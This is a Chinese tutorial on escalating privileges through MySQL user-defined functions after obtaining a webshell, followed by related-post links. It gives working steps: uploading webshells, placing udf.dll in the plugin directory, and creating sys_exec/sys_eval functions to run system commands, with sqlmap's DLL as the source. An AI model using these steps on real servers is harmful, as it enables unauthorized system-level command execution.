MySQL提权之udf提权(获得webshell的情况)
什么是udf提权?
MySQL提供了一个让使用者自行添加新的函数的功能,这种用户自行扩展函数的功能就叫udf。
它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库!这样一来我们就可以利用 system权限进行提权操作了!
当我们拿到webshell后,由于中间件,例如,apache使用了较低的权限,可能仅仅是个网络服务的权限,然后我们就需要进行提权,而有时候目标机器补丁较全,各种系统提权姿势都失效的情况下,可以将目光转义到数据库服务上,在Windows下,在较低版本的mysql(<5.6)安装时默认是系统权限。还有就是很多人图方便,例如使用了各种集成环境,未做安全设置,直接用高权限账户进行站点配置,就可以考虑用UDF进行提权。
dll文件的好处?
1.扩展了应用程序的特性;
2.可以用许多种编程语言来编写;
3.简化了软件项目的管理;
4.有助于节省内存;
5.有助于资源共享;
什么是udf库?
UDF表示的是MySQL中的用户自定义函数。这就像在DLL中编写自己的函数并在MySQL中调用它们一样。我们将使用“lib_mysqludf_sys_64.dll”DLL库
不同版本的区别:
MySql < 4.1:
允许用户将任何的DLL文件里面的函数注册到MySql里。
MySql 4.1-5.0:
对用来注册的DLL文件的位置进行了限制,通常我们选择 UDF导出到系统目录
C:/windows/system32/来跳过限制。
MySql >=5.1:
这些DLL只能被放在MySql的plugin目录下。
0x01 提权的前提
1. 必须是root权限(主要是得创建和抛弃自定义函数)
2. secure_file_priv=(未写路径)
3. 将udf.dll文件上传到MySQL的plugin目录下(这里以MySQL>=5.1为例)
0x02 开始提权
这里以本地为例
1.我们这里上传了一句话,然后用菜刀连接上
先判断数据库版本
- select version();
符合MySql>=5.1的情况。
2. 查看plugin目录名称:
- show variables like 'plugin%';
3. 查询目录的绝对路径:
- select @@plugin_dir;
4. 上传phpda.php,然后访问这个马
5. 上传udf.dll到 E:\phpStudy\PHPTutorial\MySQL\lib\plugin\下
注意:这里没有plugin这个文件夹,我们必须手动创建(直接在大马上新建就ok)
6. 我们主要利用udf.dll中的sys_exec(),sys_eval()等函数来进行命令执行
该函数将在“系统”函数内传递参数’args-> args [0]‘。你可以使用它在目标机器上执行系统命令。
安装:
create function sys_exec returns string soname "udf.dll";
验证:
select * from mysql.func where name = 'sys_exec';
然后进行命令执行
select sys_exec("whoami");
这里用sys_exec()函数好像不可以,我们换个函数
sys_eval
该函数将执行系统命令并在屏幕上通过标准输出显示。
安装:
create function sys_eval returns string soname 'udf.dll';
验证:
select * from mysql.func where name = 'sys_eval';
然后进行命令执行
select sys_eval("whoami");
成功执行
删除:
drop function sys_eval;
ps: sqlmap下就有udf.dll文件,提取出来就行了
sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py
解码完了,在sqlmap\udf\mysql\windows,32和64文件夹下会生成dll文件
0x03 结语
最后,总的来说,UDF提权就是利用MySql允许扩展自定义函数的特性,将webshell的权限变成和mysql运行权限一致,所以就有个前提,mysql得是以高权限进行运行的,至少得比中间件权限高,才有用这个方法进行提权的必要。
MySQL提权之udf提权(获得webshell的情况)的更多相关文章
- MySQL提权之udf提权(无webshell的情况)
0x00 介绍 本篇我们来讲无webshell时利用udf进行提权 0x01 前提 1. 必须是root权限(主要是得创建和抛弃自定义函数) 2. secure_file_priv=(未写路径) 3. ...
- [提权]mysql中的UDF提权
由于udf提权是需要构造UDF函数文件的,涉及到了写文件.所以本次实验已经将mysql的配置做了改动:–secure-file-priv=''. 剧情须知: secure_file_priv 为 NU ...
- MySQL UDF提权执行系统命令
目录 UDF UDF提权步骤 UDF提权复现(php环境) UDF UDF (user defined function),即用户自定义函数.是通过添加新函数,对MySQL的功能进行扩充,其实就像使用 ...
- [视频]K8飞刀 mysql注入点拿shell & UDF提权教程
[视频]K8飞刀 mysql注入点拿shell & UDF提权教程 链接: https://pan.baidu.com/s/1a7u_uJNF6SReDbfVtAotIw 提取码: ka5m
- MySQL的system命令在渗透测试中的使用以及UDF提权
声明:下面引用关于SYSTEM的东西是自己之前的内容,是自己没有研究透导致的错误结论:有了错就要改,做技术的不能弄虚作假,时时刻刻要求自己要谨慎,虽然我的博客没人看,但是也要向所有已经看到的人道歉,错 ...
- mysql udf提权实战测试
根据前天对大牛们的资料学习,进行一次mysql udf提权测试. 测试环境: 受害者系统:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128 攻击者 ...
- mysql UDF提权问题
测试UDF提权,时候遇到问题,创建函数shell提示存在 当执行操作的时候又提示,shell函数不存在. FUNCTION mysql.shell does not exist 如果在测试环境下,一般 ...
- Mysql UDF提权方法
0x01 UDF UDF(user defined function)用户自定义函数,是mysql的一个拓展接口.用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sq ...
- udf提权方法和出现问题汇总
一.适用条件 1.目标系统是Windows(Win2000,XP,Win2003): 2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数( ...
随机推荐
- 车载以太网第二弹|测试之实锤-AVB测试实践
背景 AVB(Audio Video Bridging)音视频桥接,是由IEEE 802.1标准委员会的IEEE AVB任务组制定的一组技术标准,包括精确时钟同步.带宽预留和流量调度等协议规范,用于构 ...
- 摘要任务工期计算(Project)
<Project2016 企业项目管理实践>张会斌 董方好 编著 先说一个好消息:摘要工期是可以自动计算的. 比如A1.A2.A3.A4四个任务,工期如下图安排: 而他们的摘要任务,就不再 ...
- libevent源码学习(10):min_heap数据结构解析
min_heap类型定义min_heap函数构造/析构函数及初始化判断event是否在堆顶判断两个event之间超时结构体的大小关系判断堆是否为空及堆大小返回堆顶event分配堆空间堆元素的上浮堆元素 ...
- Uni-app原生插件入门使用教程「2」:如何离线使用原生插件
当HBuilderX中提供的能力无法满足App功能需求,需要通过使用Andorid/iOS原生开发实现时,可使用App离线SDK开发原生插件来扩展原生能力. 如使用Uniapp开发直播功能时,需要调用 ...
- centos使用docker 安装 rabbitMq 消息队列
1.拉取镜像 docker pull rabbitmq:3-management 如果出现报错: Get https://registry-1.docker.io/v2/: net/http: req ...
- 【LeetCode】459. Repeated Substring Pattern 解题报告(Java & Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 遍历子串 日期 [LeetCode] 题目地址:ht ...
- 【LeetCode】230. 二叉搜索树中第K小的元素 Kth Smallest Element in a BST
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 公众号:负雪明烛 本文关键词:算法题,刷题,Leetcode, 力扣,二叉搜索树,BST ...
- Autofac 依赖注入小知识
Autofac 依赖注入小知识 控制反转/依赖注入 IOC/DI 依赖接口而不依赖于实现,是面向对象的六大设计原则(SOLID)之一.即依赖倒置原则(Dependence Inversion Prin ...
- MySQL中写操作
具体到操作流程: 当执行某个写操作的 SQL 时,引擎将这行数据更新到内存的同时把对应的操作记录到 redo log 里面,然后处于 prepare 状态.并把完成信息告知给执行器. 执行器生成对应操 ...
- 自动化集成:Docker容器入门简介
前言:该系列文章,围绕持续集成:Jenkins+Docker+K8S相关组件,实现自动化管理源码编译.打包.镜像构建.部署等操作:本篇文章主要描述Docker基础用法. 一.Docker简介 1.基础 ...